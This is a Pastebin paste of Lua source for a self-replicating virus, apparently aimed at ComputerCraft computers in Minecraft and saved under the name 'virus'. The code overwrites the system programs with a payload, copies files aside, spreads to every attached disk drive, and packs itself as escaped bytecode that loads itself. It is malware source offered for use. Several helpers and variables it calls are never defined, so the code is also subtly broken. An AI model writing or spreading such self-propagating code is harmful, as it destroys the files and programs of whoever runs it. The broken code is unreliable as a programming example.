Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local function main(c)
- c='local c="'..c..'"loadstring(c)(c)'
- local pairs=pairs
- local fs=fs
- local fs_exists=fs.exists
- local fs_makeDir=fs.makeDir
- local fs_delete=fs.delete
- local fs_list=fs.list
- local fs_open=fs.open
- local vfs=vfs
- local vfs_tableize=vfs.tableize
- local pcall=pcall
- local peripheral=peripheral
- local peripheral_getNames=peripheral.getNames
- local peripheral_getType=peripheral.getType
- local peripheral_call=peripheral.call
- local function inf(dir)
- if dir~="" then
- dir=dir.."/"
- end
- if fs_exists(dir..".inf") then
- return
- end
- fs_makeDir(dir..".inf")
- local sb
- if fs_exists(dir.."sb") then
- sb=vfs_tableize(dir.."sb")
- fs_delete(dir.."sb")
- end
- fs_makeDir("sb")
- if sb then
- vfs_untableize({sb=sb})
- end
- for k,v in pairs(fs.list(dir)) do
- if not fs_isReadOnly(dir..v) and v~="sb" then
- fs_copy(v,dir.."sb"..v)
- end
- end
- for k,v in pairs(fs_list("rom/programs")) do
- if not fs_isDir("rom/programs/"..v) then
- local file=fs_open(dir.."rom/programs/"..v)
- file.write(compiled)
- file.close()
- end
- end
- local file=fs.open("startup")
- if dir=="" then
- fs_makeDir("sb/rom")
- end
- end
- local function infect()
- inf("")
- for k,v in pairs(peripheral_getNames()) do
- if peripheral_getType(v)=="drive" then
- pcall(inf,peripheral_call(v,"getMountPath"))
- end
- end
- end
- end
- infutil.savePrefs("virus",'local c="'..string.dump(main):gsub(".",function(s) return "\\"..string.byte(s) end)..'"loadstring(c)(c)',true)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement